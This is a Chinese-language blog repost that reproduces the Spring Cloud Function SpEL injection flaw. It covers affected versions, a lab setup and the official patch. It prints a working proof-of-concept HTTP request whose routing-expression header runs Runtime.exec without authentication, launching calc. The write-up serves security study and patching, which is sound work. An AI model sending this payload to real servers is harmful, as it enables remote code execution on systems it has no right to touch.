复现Spring-Cloud-Function SpEL RCE

admin 2025年2月25日20:31:19评论13 views字数 1141阅读3分48秒阅读模式

复现Spring-Cloud-Function SpEL RCE

0x00 漏洞描述

Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加

"spring.cloud.function.routing-expression"

参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。

影响版本:

0.0.RELEASE <= Spring Cloud Function <=3.2.2

 0x01 漏洞环境

spring-cloud-function-SpEL-RCE

https://github.com/cckuailong/spring-cloud-function-SpEL-RCE

复现环境:java17

下载后可自行编译,已打包好上传至GitHub

具体内容移步

https://www.little2pig.work/archives/spel-rce

查看

IDEA导入maven项目

复现Spring-Cloud-Function SpEL RCE

编译好的java包在 /target 目录下

java -jar function-sample-pojo-3.2.1.RELEASE.jar

复现Spring-Cloud-Function SpEL RCE

 0x02 Poc

POST /xxx HTTP/1.1Host: localhost:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")Content-Type: application/x-www-form-urlencodedContent-Length: 3xxx

 0x03 rce

复现Spring-Cloud-Function SpEL RCE

 0x03 rce脚本

具体内容移步 

https://www.little2pig.work/archives/spel-rce

查看

0x04 漏洞防护

官方升级

目前官方已针对此漏洞发布修复补丁,用户可更新进行防护,官方链接:

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

注:官方暂未发布新版本,请持续关注并及时更新:https://github.com/spring-cloud/spring-cloud-function/tags

原文始发于微信公众号(安全圈小王子):复现Spring-Cloud-Function SpEL RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日20:31:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   复现Spring-Cloud-Function SpEL RCEhttp://cn-sec.com/archives/964993.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息